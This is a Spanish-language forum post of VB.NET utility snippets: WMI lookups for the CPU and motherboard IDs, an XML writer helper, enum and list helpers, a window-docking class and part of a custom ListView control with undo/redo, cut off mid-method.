(Este snippet fue de los primeros que posteé, le he dado un repaso al código)
#Region " Get CPU ID "
' [ Get CPU ID ]
'
'// By Elektro H@cker
'
' INSTRUCTIONS:
' 1. Add a reference to "System.Management"
'
' Examples :
' Dim ProcID As String = Get_CPU_ID()
' MsgBox(Get_CPU_ID())
Private Function Get_CPU_ID() As String
Dim wmi As Management.ManagementObjectSearcher = _
New Management.ManagementObjectSearcher("select * from Win32_Processor")
Dim val As String = wmi.Get(0)("ProcessorID")
wmi.Dispose()
Return val.ToString
End Function
#End Region
Una función genérica para obtener el serial de la placa base
(Este snippet fue de los primeros que posteé, le he dado un repaso al código)
#Region " Get Motherboard ID "
' [ Get Motherboard ID ]
'
'// By Elektro H@cker
'
' INSTRUCTIONS:
' 1. Add a reference to "System.Management"
'
' Examples :
' Dim MotherID As String = Get_Motherboard_ID()
' MsgBox(Get_Motherboard_ID())
Private Function Get_Motherboard_ID() As String
Dim wmi As Management.ManagementObjectSearcher = _
New Management.ManagementObjectSearcher("select * from Win32_BaseBoard")
Dim val As String = wmi.Get(0)("SerialNumber")
wmi.Dispose()
Return val
End Function
#End Region
Y por último, unos ejemplos muy sencillos de como manejar un documento XML (sencillo)...
(Uso un XMLTextWritter en lugar de un XMLWriter por la libertad de indentación)
' [ Song XML Writer Helper ]
'
' // By Elektro H@cker
'
' Example usage :
'
'Private Sub Test()
'
' ' Set an XML file to create
' Dim xmlfile As String = "C:\My XML File.xml"
'
' ' Create the XmlWriter object
' Dim XmlWriter As Xml.XmlTextWriter = _
' New Xml.XmlTextWriter(xmlfile, System.Text.Encoding.Default) _
' With {.Formatting = Xml.Formatting.Indented}
'
' ' Write the Xml declaration.
' XMLHelper.Write_Beginning(XmlWriter)
' ' Output at this point:
' ' <?xml version="1.0" encoding="Windows-1252"?>
'
' ' Write a comment.
' XMLHelper.Write_Comment(XmlWriter, "XML Songs Database", Xml.Formatting.Indented)
' ' Output at this point:
' ' <!--XML Songs Database-->
'
' ' Write the root element.
' XMLHelper.Write_Beginning_Root_Element(XmlWriter, "Songs", Xml.Formatting.Indented)
' ' Output at this point:
' ' <Songs>
'
' ' Write the start of a song element.
' XMLHelper.Write_Beginning_Root_Element(XmlWriter, "Song", Xml.Formatting.Indented)
' ' Output at this point:
' ' <Song>
'
' ' Write a song element.
' XMLHelper.Write_Elements(XmlWriter, { _
' {"Name", "My Song file.mp3"}, _
' {"Year", "2013"}, _
' {"Genre", "Rock"} _
' }, Xml.Formatting.None)
' ' Output at this point:
' ' <Name>My Song file.mp3</Name><Year>2007</Year><Genre>Dance</Genre>
'
' ' Write the end of a song element.
' XMLHelper.Write_End_Root_Element(XmlWriter, Xml.Formatting.None)
' ' Output at this point:
' ' </Song>
'
' ' Write the end of the Root element.
' XMLHelper.Write_End_Root_Element(XmlWriter, Xml.Formatting.Indented)
' ' Output at this point:
' ' </Songs>
'
' ' Write the xml end of file.
' XMLHelper.Write_End(XmlWriter)
'
' ' Start the file and exit
' Process.Start(xmlfile) : Application.Exit()
'
' ' Final output:
' '
' '<?xml version="1.0" encoding="Windows-1252"?>
' '<!--XML Songs Database-->
' '<Songs>
' ' <Song><Name>My Song file.mp3</Name><Year>2007</Year><Genre>Dance</Genre></Song>
' '</Songs>
'
'End Sub
#Region " XML Helper "
Class XMLHelper
''' <summary>
''' Writes the Xml beginning declaration.
''' </summary>
Shared Sub Write_Beginning(ByVal XmlWriter As Xml.XmlTextWriter)
Try
XmlWriter.WriteStartDocument()
Catch ex As InvalidOperationException
Dim errormsg As String = "This is not the first write method called after the constructor. "
Throw New Exception(errormsg & Environment.NewLine & ex.StackTrace)
' MessageBox.Show(errormsg)
Catch ex As Exception
Throw New Exception(ex.Message & Environment.NewLine & ex.StackTrace)
End Try
End Sub
''' <summary>
''' Writes a comment.
''' </summary>
Shared Sub Write_Comment(ByVal XmlWriter As Xml.XmlTextWriter, _
ByVal Comment As String, _
Optional ByVal Indentation As Xml.Formatting = Xml.Formatting.Indented)
Try
XmlWriter.Formatting = Indentation
XmlWriter.WriteComment(Comment)
XmlWriter.Formatting = Not Indentation
Catch ex As ArgumentException
Dim errormsg As String = "The text would result in a non-well formed XML document"
Throw New Exception(errormsg & Environment.NewLine & ex.StackTrace)
' MessageBox.Show(errormsg)
Catch ex As InvalidOperationException
Dim errormsg As String = "The ""WriteState"" property is Closed"
Throw New Exception(errormsg & Environment.NewLine & ex.StackTrace)
' MessageBox.Show(errormsg)
Catch ex As Exception
Throw New Exception(ex.Message & Environment.NewLine & ex.StackTrace)
End Try
End Sub
''' <summary>
''' Writes the beginning of a root element.
''' </summary>
Shared Sub Write_Beginning_Root_Element(ByVal XmlWriter As Xml.XmlTextWriter, _
ByVal Element As String, _
Optional ByVal Indentation As Xml.Formatting = Xml.Formatting.Indented)
Try
XmlWriter.Formatting = Indentation
XmlWriter.WriteStartElement(Element)
XmlWriter.Formatting = Not Indentation
Catch ex As System.Text.EncoderFallbackException
Dim errormsg As String = "There is a character in the buffer that is a valid XML character but is not valid for the output encoding."
Throw New Exception(errormsg & Environment.NewLine & ex.StackTrace)
' MessageBox.Show(errormsg)
Catch ex As InvalidOperationException
Dim errormsg As String = "The XmlTextWriter is closed or An XmlTextWriter method was called before a previous asynchronous operation finished."
Throw New Exception(errormsg & Environment.NewLine & ex.StackTrace)
' MessageBox.Show(errormsg)
Catch ex As Exception
Throw New Exception(ex.Message & Environment.NewLine & ex.StackTrace)
End Try
End Sub
''' <summary>
''' Writes the end of a root element.
''' </summary>
Shared Sub Write_End_Root_Element(ByVal XmlWriter As Xml.XmlTextWriter, _
Optional ByVal Indentation As Xml.Formatting = Xml.Formatting.Indented)
Try
XmlWriter.Formatting = Indentation
XmlWriter.WriteEndElement()
XmlWriter.Formatting = Not Indentation
Catch ex As System.Text.EncoderFallbackException
Dim errormsg As String = "There is a character in the buffer that is a valid XML character but is not valid for the output encoding."
Throw New Exception(errormsg & Environment.NewLine & ex.StackTrace)
' MessageBox.Show(errormsg)
Catch ex As InvalidOperationException
Dim errormsg As String = "The XmlTextWriter is closed or An XmlTextWriter method was called before a previous asynchronous operation finished."
Throw New Exception(errormsg & Environment.NewLine & ex.StackTrace)
' MessageBox.Show(errormsg)
Catch ex As Exception
Throw New Exception(ex.Message & Environment.NewLine & ex.StackTrace)
End Try
End Sub
''' <summary>
''' Writes an element.
''' </summary>
Shared Sub Write_Element(ByVal XmlWriter As Xml.XmlTextWriter, _
ByVal StartElement As String, _
ByVal Element As String, _
Optional ByVal Indentation As Xml.Formatting = Xml.Formatting.Indented)
Try
XmlWriter.Formatting = Indentation
XmlWriter.WriteStartElement(StartElement)
XmlWriter.WriteString(Element)
XmlWriter.WriteEndElement()
XmlWriter.Formatting = Not Indentation
Catch ex As System.Text.EncoderFallbackException
Dim errormsg As String = "There is a character in the buffer that is a valid XML character but is not valid for the output encoding."
Throw New Exception(errormsg & Environment.NewLine & ex.StackTrace)
' MessageBox.Show(errormsg)
Catch ex As InvalidOperationException
Dim errormsg As String = "The XmlTextWriter is closed or An XmlTextWriter method was called before a previous asynchronous operation finished."
Throw New Exception(errormsg & Environment.NewLine & ex.StackTrace)
' MessageBox.Show(errormsg)
Catch ex As Exception
Throw New Exception(ex.Message & Environment.NewLine & ex.StackTrace)
End Try
End Sub
''' <summary>
''' Writes multiple elements.
''' </summary>
Shared Sub Write_Elements(ByVal XmlWriter As Xml.XmlTextWriter, _
ByVal Elements As String(,), _
Optional ByVal Indentation As Xml.Formatting = Xml.Formatting.Indented)
Try
XmlWriter.Formatting = Indentation
For x As Integer = 0 To Elements.GetUpperBound(0)
XmlWriter.WriteStartElement(Elements(x, 0))
XmlWriter.WriteString(Elements(x, 1))
XmlWriter.WriteEndElement()
Next
XmlWriter.Formatting = Not Indentation
Catch ex As System.Text.EncoderFallbackException
Dim errormsg As String = "There is a character in the buffer that is a valid XML character but is not valid for the output encoding."
Throw New Exception(errormsg & Environment.NewLine & ex.StackTrace)
' MessageBox.Show(errormsg)
Catch ex As InvalidOperationException
Dim errormsg As String = "The XmlTextWriter is closed or An XmlTextWriter method was called before a previous asynchronous operation finished."
Throw New Exception(errormsg & Environment.NewLine & ex.StackTrace)
' MessageBox.Show(errormsg)
Catch ex As Exception
Throw New Exception(ex.Message & Environment.NewLine & ex.StackTrace)
End Try
End Sub
''' <summary>
''' Writes the xml end of file.
''' </summary>
Shared Sub Write_End(ByVal XmlWriter As Xml.XmlTextWriter)
Try
XmlWriter.WriteEndDocument()
XmlWriter.Close()
Catch ex As ArgumentException
Dim errormsg As String = "The XML document is invalid."
Throw New Exception(errormsg & Environment.NewLine & ex.StackTrace)
' MessageBox.Show(errormsg)
Catch ex As Exception
Throw New Exception(ex.Message & Environment.NewLine & ex.StackTrace)
End Try
End Sub
End Class
#End Region
Dado un número, devuelve el valor más próximo de un Enum.
#Region " Get Nearest Enum Value "
' [ Get Nearest Enum Value ]
'
' // By Elektro H@cker
'
' Examples :
'
' Enum Bitrate As Short : kbps_128 = 128 : kbps_192 = 192 : kbps_256 = 256 : kbps_320 = 320 : End Enum
' MsgBox(Get_Nearest_Enum_Value(Of Bitrate)(133).ToString) ' Result: kbps_128
' MsgBox(Get_Nearest_Enum_Value(Of KnownColor)(1000)) ' Result: 174
Private Function Get_Nearest_Enum_Value(Of T)(ByVal value As Long) As T
Return [Enum].Parse(GetType(T), [Enum].GetValues(GetType(T)).
Cast(Of Object).
OrderBy(Function(br) Math.Abs(value - br)).
First)
End Function
#End Region
Dado un número, devuelve el valor próximo más bajo de un Enum.
#Region " Get Nearest Lower Enum Value "
' [ Get Nearest Lower Enum Value ]
'
' // By Elektro H@cker
'
' Examples :
'
' Enum Bitrate As Short : kbps_128 = 128 : kbps_192 = 192 : kbps_256 = 256 : kbps_320 = 320 : End Enum
' MsgBox(Get_Nearest_Lower_Enum_Value(Of Bitrate)(190).ToString) ' Result: kbps_128
' MsgBox(Get_Nearest_Lower_Enum_Value(Of Bitrate)(196).ToString) ' Result: kbps_192
Private Function Get_Nearest_Lower_Enum_Value(Of T)(ByVal value As Integer) As T
Select Case value
Case Is < [Enum].GetValues(GetType(T)).Cast(Of Object).First
Return Nothing
Case Else
Return [Enum].Parse(GetType(T), [Enum].GetValues(GetType(T)).
Cast(Of Object)().
Where(Function(enum_value) enum_value <= value).
Last)
End Select
End Function
#End Region
Dado un número, devuelve el valor próximo más alto de un Enum.
#Region " Get Nearest Higher Enum Value "
' [ Get Nearest Higher Enum Value ]
'
' // By Elektro H@cker
'
' Examples :
'
' Enum Bitrate As Short : kbps_128 = 128 : kbps_192 = 192 : kbps_256 = 256 : kbps_320 = 320 : End Enum
' MsgBox(Get_Nearest_Higher_Enum_Value(Of Bitrate)(196).ToString) ' Result: kbps_256
' MsgBox(Get_Nearest_Higher_Enum_Value(Of KnownColor)(1000)) ' Result: 0
Private Function Get_Nearest_Higher_Enum_Value(Of T)(ByVal value As Integer) As T
Select Case value
Case Is > [Enum].GetValues(GetType(T)).Cast(Of Object).Last
Return Nothing
Case Else
Return [Enum].Parse(GetType(T), [Enum].GetValues(GetType(T)).
Cast(Of Object).
Where(Function(enum_value) enum_value >= value).
FirstOrDefault)
End Select
End Function
#End Region
EDITO:
Aquí todos juntos:
#Region " Get Nearest Enum Value "
' [ Get Nearest Enum Value ]
'
' // By Elektro H@cker
'
' Examples :
'
' MsgBox(Get_Nearest_Enum_Value(Of Bitrate)(133, Enum_Direction.Nearest).ToString) ' Result: kbps_128
' MsgBox(Get_Nearest_Enum_Value(Of KnownColor)(1000, Enum_Direction.Nearest)) ' Result: 174
'
' MsgBox(Get_Nearest_Enum_Value(Of Bitrate)(190, Enum_Direction.Down).ToString) ' Result: kbps_128
' MsgBox(Get_Nearest_Enum_Value(Of KnownColor)(-1, Enum_Direction.Down).ToString) ' Result: 0
'
' MsgBox(Get_Nearest_Enum_Value(Of Bitrate)(196, Enum_Direction.Up).ToString) ' Result: kbps_256
' MsgBox(Get_Nearest_Enum_Value(Of KnownColor)(1000, Enum_Direction.Up)) ' Result: 0
Private Enum Enum_Direction As Short
Down = 1
Up = 2
Nearest = 0
End Enum
Private Function Get_Nearest_Enum_Value(Of T)(ByVal value As Long, _
Optional ByVal direction As Enum_Direction = Enum_Direction.Nearest) As T
Select Case direction
Case Enum_Direction.Nearest ' Return nearest Enum value
Return [Enum].Parse(GetType(T), [Enum].GetValues(GetType(T)).
Cast(Of Object).
OrderBy(Function(br) Math.Abs(value - br)).
First)
Case Enum_Direction.Down ' Return nearest lower Enum value
If value < [Enum].GetValues(GetType(T)).Cast(Of Object).First Then
Return Nothing
Else
Return [Enum].Parse(GetType(T), [Enum].GetValues(GetType(T)).
Cast(Of Object)().
Where(Function(enum_value) enum_value <= value).
Last)
End If
Case Enum_Direction.Up ' Return nearest higher Enum value
If value > [Enum].GetValues(GetType(T)).Cast(Of Object).Last Then
Return Nothing
Else
Return [Enum].Parse(GetType(T), [Enum].GetValues(GetType(T)).
Cast(Of Object).
Where(Function(enum_value) enum_value >= value).
FirstOrDefault)
End If
End Select
End Function
#End Region
· Juntar múltiples listas:
#Region " Join Lists "
' [ Join Lists ]
'
' // By Elektro H@cker
'
' Examples :
'
' Dim list_A As New List(Of String) From {"a", "b"}
' Dim list_B As New List(Of String) From {"c", "d"}
' Dim newlist As List(Of String) = Join_Lists(Of String)({list_A, list_B}) ' Result: {"a", "b", "c", "d"}
Private Function Join_Lists(Of T)(ByVal Lists() As List(Of T)) As List(Of T)
Return Lists.SelectMany(Function(l) l).ToList
End Function
#End Region
· Revertir un Stack:
#Region " Reverse Stack "
' [ Reverse Stack ]
'
' Examples :
'
' Dim MyStack As New Stack(Of String)
'
' MyStack.Push("S") : MyStack.Push("T") : MyStack.Push("A") : MyStack.Push("C") : MyStack.Push("K")
'
' MyStack = Reverse_Stack(Of String)(MyStack)
'
' For Each value In MyStack
' MsgBox(value)
' Next
Private Function Reverse_Stack(Of T)(stack As Stack(Of T)) As Stack(Of T)
Return New Stack(Of T)(stack)
End Function
#End Region
· Eliminar las lineas vacias de un archivo de texto:
#Region " Delete Empty Lines In TextFile "
' [ Delete Empty Lines In TextFile ]
'
' // By Elektro H@cker
'
' Examples :
'
' Delete_Empty_Lines_In_TextFile("C:\File.txt")
' Delete_Empty_Lines_In_TextFile("C:\File.txt", System.Text.Encoding.GetEncoding(1252))
Private Sub Delete_Empty_Lines_In_TextFile(ByVal file As String, _
Optional ByVal encoding As System.Text.Encoding = Nothing)
IO.File.WriteAllLines(file, IO.File.ReadAllLines(file) _
.Where(Function(line) Not String.IsNullOrEmpty(line)) _
, If(encoding Is Nothing, System.Text.Encoding.Default, encoding))
End Sub
#End Region
Y por último esta Class para dockear un Form,
le añadí lo necesario para poder bloquear la posición del form (no el tamaño, me parece irrelevante).
' [ Form Dock ]
'
' // By Elektro H@cker
#Region " Usage Examples "
' Private _formdock As New FormDock(Me) With {.LockPosition = True}
'
' Private Shadows Sub Shown() Handles MyBase.Shown
'
' _formdock.Dock(FormDock.DockPosition.WorkingArea_BottomRight)
'
' End Sub
#End Region
#Region " Form Dock "
Public Class FormDock
Inherits NativeWindow
Implements IDisposable
#Region " Variables, Properties and Enumerations "
''' <summary>
''' While the property still Enabled it will locks the formulary position.
''' </summary>
Public Property LockPosition As Boolean = False
''' <summary>
''' Stores the formulary to Dock.
''' </summary>
Private WithEvents form As Form = Nothing
''' <summary>
''' Stores the size of the formulary to Dock.
''' </summary>
Private UI_Size As Size = Nothing
''' <summary>
''' Stores the Dock positions.
''' </summary>
Private Dock_Positions As Dictionary(Of DockPosition, Point)
''' <summary>
''' Dock Positions.
''' </summary>
Public Enum DockPosition As Short
Center_Screen = 0
Bounds_BottomLeft = 1
Bounds_BottomRight = 2
Bounds_TopLeft = 3
Bounds_TopRight = 4
WorkingArea_BottomLeft = 5
WorkingArea_BottomRight = 6
WorkingArea_TopLeft = 7
WorkingArea_TopRight = 8
End Enum
#End Region
#Region " New Constructor "
Public Sub New(ByVal form As Form)
Me.form = form
SetHandle()
End Sub
#End Region
#Region " Public Procedures "
''' <summary>
''' Docks the form.
''' </summary>
Public Sub Dock(ByVal Position As DockPosition)
If Dock_Positions Is Nothing Then
Renew_Positions(form)
End If
form.Location = Dock_Positions(Position)
End Sub
#End Region
#Region " Miscellaneous Procedures "
''' <summary>
''' Renews the Dock positions according to the the current form Size.
''' </summary>
Private Sub Renew_Positions(ByVal form As Form)
UI_Size = form.Size
Dock_Positions = New Dictionary(Of DockPosition, Point) _
From {
{DockPosition.Center_Screen,
New Point((Screen.PrimaryScreen.Bounds.Width - UI_Size.Width) \ 2,
(Screen.PrimaryScreen.Bounds.Height - UI_Size.Height) \ 2)},
{DockPosition.Bounds_BottomLeft,
New Point(Screen.PrimaryScreen.Bounds.X,
Screen.PrimaryScreen.Bounds.Height - UI_Size.Height)},
{DockPosition.Bounds_BottomRight,
New Point(Screen.PrimaryScreen.Bounds.Width - UI_Size.Width,
Screen.PrimaryScreen.Bounds.Height - UI_Size.Height)},
{DockPosition.Bounds_TopLeft,
New Point(Screen.PrimaryScreen.Bounds.X,
Screen.PrimaryScreen.Bounds.Y)},
{DockPosition.Bounds_TopRight,
New Point(Screen.PrimaryScreen.Bounds.Width - UI_Size.Width,
Screen.PrimaryScreen.Bounds.Y)},
{DockPosition.WorkingArea_BottomLeft,
New Point(Screen.PrimaryScreen.WorkingArea.X,
Screen.PrimaryScreen.WorkingArea.Height - UI_Size.Height)},
{DockPosition.WorkingArea_BottomRight,
New Point(Screen.PrimaryScreen.WorkingArea.Width - UI_Size.Width,
Screen.PrimaryScreen.WorkingArea.Height - UI_Size.Height)},
{DockPosition.WorkingArea_TopLeft,
New Point(Screen.PrimaryScreen.WorkingArea.X,
Screen.PrimaryScreen.WorkingArea.Y)},
{DockPosition.WorkingArea_TopRight,
New Point(Screen.PrimaryScreen.WorkingArea.Width - UI_Size.Width,
Screen.PrimaryScreen.WorkingArea.Y)}
}
End Sub
#End Region
#Region " Form EventHandlers "
''' <summary>
''' Renews the Dock positions according to the the current form Size,
''' when Form is Shown.
''' </summary>
Private Sub OnShown() _
Handles form.Shown
If Not UI_Size.Equals(Me.form.Size) Then
Renew_Positions(Me.form)
End If
End Sub
''' <summary>
''' Renews the Dock positions according to the the current form Size,
''' When Form is resized.
''' </summary>
Private Sub OnResizeEnd() _
Handles form.ResizeEnd
If Not UI_Size.Equals(Me.form.Size) Then
Renew_Positions(Me.form)
End If
End Sub
''' <summary>
''' SetHandle
''' Assign the handle of the target form to this NativeWindow,
''' necessary to override WndProc.
''' </summary>
Private Sub SetHandle() Handles _
form.HandleCreated,
form.Load,
form.Shown
Try
If Not Me.Handle.Equals(Me.form.Handle) Then
Me.AssignHandle(Me.form.Handle)
End If
Catch ex As InvalidOperationException
End Try
End Sub
''' <summary>
''' Releases the Handle.
''' </summary>
Private Sub OnHandleDestroyed() _
Handles form.HandleDestroyed
Me.ReleaseHandle()
End Sub
#End Region
#Region " Windows Messages "
''' <summary>
''' WndProc Message Interception.
''' </summary>
Protected Overrides Sub WndProc(ByRef m As Message)
If Me.LockPosition Then
Select Case m.Msg
Case &HA1
' Cancels any attempt to drag the window by it's caption.
If m.WParam.ToInt32 = &H2 Then Return
Case &H112
' Cancels any clicks on the Move system menu item.
If (m.WParam.ToInt32 And &HFFF0) = &HF010& Then Return
End Select
End If
' Return control to base message handler.
MyBase.WndProc(m)
End Sub
#End Region
#Region " IDisposable "
''' <summary>
''' Disposes the objects generated by this instance.
''' </summary>
Public Sub Dispose() Implements IDisposable.Dispose
Dispose(True)
GC.SuppressFinalize(Me)
End Sub
Protected Overridable Sub Dispose(IsDisposing As Boolean)
Static IsBusy As Boolean ' To detect redundant calls.
If Not IsBusy AndAlso IsDisposing Then
Me.LockPosition = False
Me.ReleaseHandle()
End If
IsBusy = True
End Sub
#End Region
End Class
#End Region
Una nueva versión de mi Listview, que tiene muchas cosas interesantes como poder dibujar una barra de progreso en una celda...
Ahora le añadí lo básico para hacer undo/redo para añadir o eliminar items.
Una pequeña demostración:
[youtube=776,442]http://www.youtube.com/watch?v=0NQ0-f_gPbs[/youtube]
Un ejemplo de uso:
Public Class Form1
Private Sub Form_Load(sender As Object, e As EventArgs) Handles MyBase.Load
' Enable the Undo/Redo Manager
ListView_Elektro1.Enable_UndoRedo_Manager = True
' Create an Item
Dim LVItem As New ListViewItem With {.Text = "Hello World"}
' Add the item
ListView_Elektro1.AddItem(LVItem)
' Remove the item
'ListView_Elektro1.RemoveItem(LVItem)
End Sub
' Undo an operation
Private Sub Button_Undo_Click(sender As Object, e As EventArgs) Handles Button_Undo.Click
ListView_Elektro1.Undo()
End Sub
' Redo an operation
Private Sub Button_Redo_Click(sender As Object, e As EventArgs) Handles Button_Redo.Click
ListView_Elektro1.Redo()
End Sub
' Handles when an Undo or Redo operation is performed
Private Sub UndoRedo_Performed(sender As Object, e As ListView_Elektro.UndoneRedoneEventArgs) _
Handles ListView_Elektro1.UndoRedo_IsPerformed
MsgBox(e.Operation.ToString)
MsgBox(e.Method.ToString)
MsgBox(e.Item.Text)
End Sub
' Handles when a Undo or Redo stack size changed
Private Sub UndoRedo_StackSizeChanged(sender As Object, e As ListView_Elektro.StackSizeChangedEventArgs) _
Handles ListView_Elektro1.UndoRedo_StackSizeChanged
MsgBox(e.UndoStackIsEmpty)
MsgBox(e.RedoStackIsEmpty)
End Sub
End Class
El código completo del UserControl listo para ser compilado:
' /* *\
' |#* ListView Elektro *#|
' \* */
'
' // By Elektro H@cker
'
' Properties:
' -----------
' · Disable_Flickering
' · Double_Buffer
' · GridLineColor
' · ItemHighlightColor
' · ItemNotFocusedHighlighColor
' · DrawCustomGridLines
' · UseDefaultGridLines
' · Enable_ProgressBar
' · Progressbar_Column
' · ProgressBar_BackColor
' · ProgressBar_BorderColor
' · ProgressBar_FillColor1
' · ProgressBar_FillColor2
' · Percent
' · Percent_Decimal
' · Percent_Font
' · Percent_Text
' · Percent_Forecolor
' · Percent_Text_Allignment
' · Enable_UndoRedo_Manager
' Events:
' -------
' · ItemAdded
' · ItemRemoved
' · UndoRedo_IsPerformed
' · UndoRedo_StackSizeChanged
'
' Methods:
' --------
' · AddItem
' · AddItems
' · RemoveItem
' · RemoveItems
' · Undo
' · Redo
Public Class ListView_Elektro : Inherits ListView
Public Event ItemAdded As EventHandler(Of ItemAddedEventArgs)
Public Class ItemAddedEventArgs : Inherits EventArgs
Property Item As ListViewItem
End Class
Public Event ItemRemoved As EventHandler(Of ItemRemovedEventArgs)
Public Class ItemRemovedEventArgs : Inherits EventArgs
Property Item As ListViewItem
End Class
Private _Disable_Flickering As Boolean = True
Private _gridLines As Boolean = False
Private _useDefaultGridLines As Boolean = False
Private _gridLineColor As Color = Color.Black
Private _itemHighlightColor As Color = Color.FromKnownColor(KnownColor.Highlight)
Private _itemNotFocusedHighlighColor As Color = Color.FromKnownColor(KnownColor.MenuBar)
Private _enable_progressbar As Boolean = False
Private _progressbar_column As Integer = Nothing
Private _percent As Double = 0
Private _percent_decimal As Short = 2
Private _percent_text As String = "%"
Private _percent_text_allignment As StringAlignment = StringAlignment.Center
Private _percent_stringformat As StringFormat = New StringFormat With {.Alignment = _percent_text_allignment}
Private _percent_font As Font = Me.Font
Private _percent_forecolor As SolidBrush = New SolidBrush(Color.Black)
Private _progressBar_backcolor As SolidBrush = New SolidBrush(Color.Red)
Private _progressBar_bordercolor As Pen = New Pen(Color.LightGray)
Private _progressBar_fillcolor1 As Color = Color.YellowGreen
Private _progressBar_fillcolor2 As Color = Color.White
Public Sub New()
Me.Name = "ListView_Elektro"
Me.DoubleBuffered = True
Me.UseDefaultGridLines = True
' Set Listview OwnerDraw to True, so we can draw the progressbar inside.
If Me.Enable_ProgressBar Then Me.OwnerDraw = True
Me.GridLines = True
Me.FullRowSelect = True
Me.MultiSelect = True
Me.View = View.Details
End Sub
#Region " Properties "
''' <summary>
''' Enable/Disable any flickering effect on the ListView.
''' </summary>
Protected Overrides ReadOnly Property CreateParams() As CreateParams
Get
If _Disable_Flickering Then
Dim cp As CreateParams = MyBase.CreateParams
cp.ExStyle = cp.ExStyle Or &H2000000
Return cp
Else
Return MyBase.CreateParams
End If
End Get
End Property
''' <summary>
''' Set the Double Buffer.
''' </summary>
Public Property Double_Buffer() As Boolean
Get
Return Me.DoubleBuffered
End Get
Set(ByVal Value As Boolean)
Me.DoubleBuffered = Value
End Set
End Property
''' <summary>
''' Enable/Disable the flickering effects on this ListView.
'''
''' This property turns off any Flicker effect on the ListView
''' ...but also reduces the performance (speed) of the ListView about 30% slower.
''' This don't affect to the performance of the application itself, only to the performance of this control.
''' </summary>
Public Property Disable_Flickering() As Boolean
Get
Return _Disable_Flickering
End Get
Set(ByVal Value As Boolean)
Me._Disable_Flickering = Value
End Set
End Property
''' <summary>
''' Changes the gridline color.
''' </summary>
Public Property GridLineColor() As Color
Get
Return _gridLineColor
End Get
Set(ByVal value As Color)
If value <> _gridLineColor Then
_gridLineColor = value
If _gridLines Then
Me.Invalidate()
End If
End If
End Set
End Property
''' <summary>
''' Changes the color when item is highlighted.
''' </summary>
Public Property ItemHighlightColor() As Color
Get
Return _itemHighlightColor
End Get
Set(ByVal value As Color)
If value <> _itemHighlightColor Then
_itemHighlightColor = value
Me.Invalidate()
End If
End Set
End Property
''' <summary>
''' Changes the color when the item is not focused.
''' </summary>
Public Property ItemNotFocusedHighlighColor() As Color
Get
Return _itemNotFocusedHighlighColor
End Get
Set(ByVal value As Color)
If value <> _itemNotFocusedHighlighColor Then
_itemNotFocusedHighlighColor = value
Me.Invalidate()
End If
End Set
End Property
Private ReadOnly Property DrawCustomGridLines() As Boolean
Get
Return (_gridLines And Not _useDefaultGridLines)
End Get
End Property
Public Shadows Property GridLines() As Boolean
Get
Return _gridLines
End Get
Set(ByVal value As Boolean)
_gridLines = value
End Set
End Property
''' <summary>
''' use the default gridlines.
''' </summary>
Public Property UseDefaultGridLines() As Boolean
Get
Return _useDefaultGridLines
End Get
Set(ByVal value As Boolean)
If _useDefaultGridLines <> value Then
_useDefaultGridLines = value
End If
MyBase.GridLines = value
MyBase.OwnerDraw = Not value
End Set
End Property
#End Region
#Region " Procedures "
''' <summary>
''' Adds an Item to the ListView,
''' to monitor when an Item is added to the ListView.
''' </summary>
Public Function AddItem(ByVal Item As ListViewItem) As ListViewItem
Me.Items.Add(Item)
RaiseEvent ItemAdded(Me, New ItemAddedEventArgs With {.Item = Item})
Return Item
End Function
Public Function AddItem(ByVal Text As String) As ListViewItem
Dim NewItem As New ListViewItem(Text)
Me.Items.Add(NewItem)
RaiseEvent ItemAdded(Me, New ItemAddedEventArgs With {.Item = NewItem})
Return NewItem
End Function
''' <summary>
''' Removes an Item from the ListView
''' to monitor when an Item is removed from the ListView.
''' </summary>
Public Sub RemoveItem(ByVal Item As ListViewItem)
Me.Items.Remove(Item)
RaiseEvent ItemRemoved(Me, New ItemRemovedEventArgs With {.Item = Item})
End Sub
''' <summary>
''' Removes an Item from the ListView at given Index
''' to monitor when an Item is removed from the ListView.
''' </summary>
Public Sub RemoveItem_At(ByVal Index As Integer)
RemoveItem(Me.Items.Item(Index))
End Sub
''' <summary>
''' Removes an Item from the ListView at given Index
''' to monitor when an Item is removed from the ListView.
''' </summary>
Public Sub RemoveItems_At(ByVal Indexes As Integer())
Array.Sort(Indexes)
Array.Reverse(Indexes)
For Each Index As Integer In Indexes
RemoveItem(Me.Items.Item(Index))
Next
End Sub
''' <summary>
''' Adds a range of Items to the ListView,
''' to monitor when an Item is added to the ListView.
''' </summary>
Public Sub AddItems(ByVal Items As ListViewItem())
For Each item As ListViewItem In Items
AddItem(item)
Next
End Sub
Public Sub AddItems(ByVal Items As ListViewItemCollection)
For Each item As ListViewItem In Items
AddItem(item)
Next
End Sub
''' <summary>
''' Removes a range of Items from the ListView
''' to monitor when an Item is removed from the ListView.
''' </summary>
Public Sub RemoveItems(ByVal Items As ListViewItem())
For Each item As ListViewItem In Items
RemoveItem(item)
Next
End Sub
Public Sub RemoveItems(ByVal Items As ListViewItemCollection)
For Each item As ListViewItem In Items
RemoveItem(item)
Next
End Sub
Public Sub RemoveItems(ByVal Items As SelectedListViewItemCollection)
For Each item As ListViewItem In Items
RemoveItem(item)
Next
End Sub
Protected Overrides Sub OnDrawColumnHeader(ByVal e As System.Windows.Forms.DrawListViewColumnHeaderEventArgs)
e.DrawDefault = True
MyBase.OnDrawColumnHeader(e)
End Sub
Protected Overrides Sub OnLostFocus(ByVal e As System.EventArgs)
For Each selectedIndex As Integer In MyBase.SelectedIndices
MyBase.RedrawItems(selectedIndex, selectedIndex, False)
Next
MyBase.OnLostFocus(e)
End Sub
Protected Overrides Sub OnDrawSubItem(ByVal e As System.Windows.Forms.DrawListViewSubItemEventArgs)
Dim drawAsDefault As Boolean = False
Dim highlightBounds As Rectangle = Nothing
Dim highlightBrush As SolidBrush = Nothing
'FIRST DETERMINE THE COLOR
If e.Item.Selected Then
If MyBase.Focused Then
highlightBrush = New SolidBrush(_itemHighlightColor)
ElseIf HideSelection Then
drawAsDefault = True
Else
highlightBrush = New SolidBrush(_itemNotFocusedHighlighColor)
End If
Else
drawAsDefault = True
End If
If drawAsDefault Then
e.DrawBackground()
Else
'NEXT DETERMINE THE BOUNDS IN WHICH TO DRAW THE BACKGROUND
If FullRowSelect Then
highlightBounds = e.Bounds
Else
highlightBounds = e.Item.GetBounds(ItemBoundsPortion.Label)
End If
'ONLY DRAW HIGHLIGHT IN 1 OF 2 CASES
'CASE 1 - FULL ROW SELECT (AND DRAWING ANY ITEM)
'CASE 2 - NOT FULL ROW SELECT (AND DRAWING 1ST ITEM)
If FullRowSelect Then
e.Graphics.FillRectangle(highlightBrush, highlightBounds)
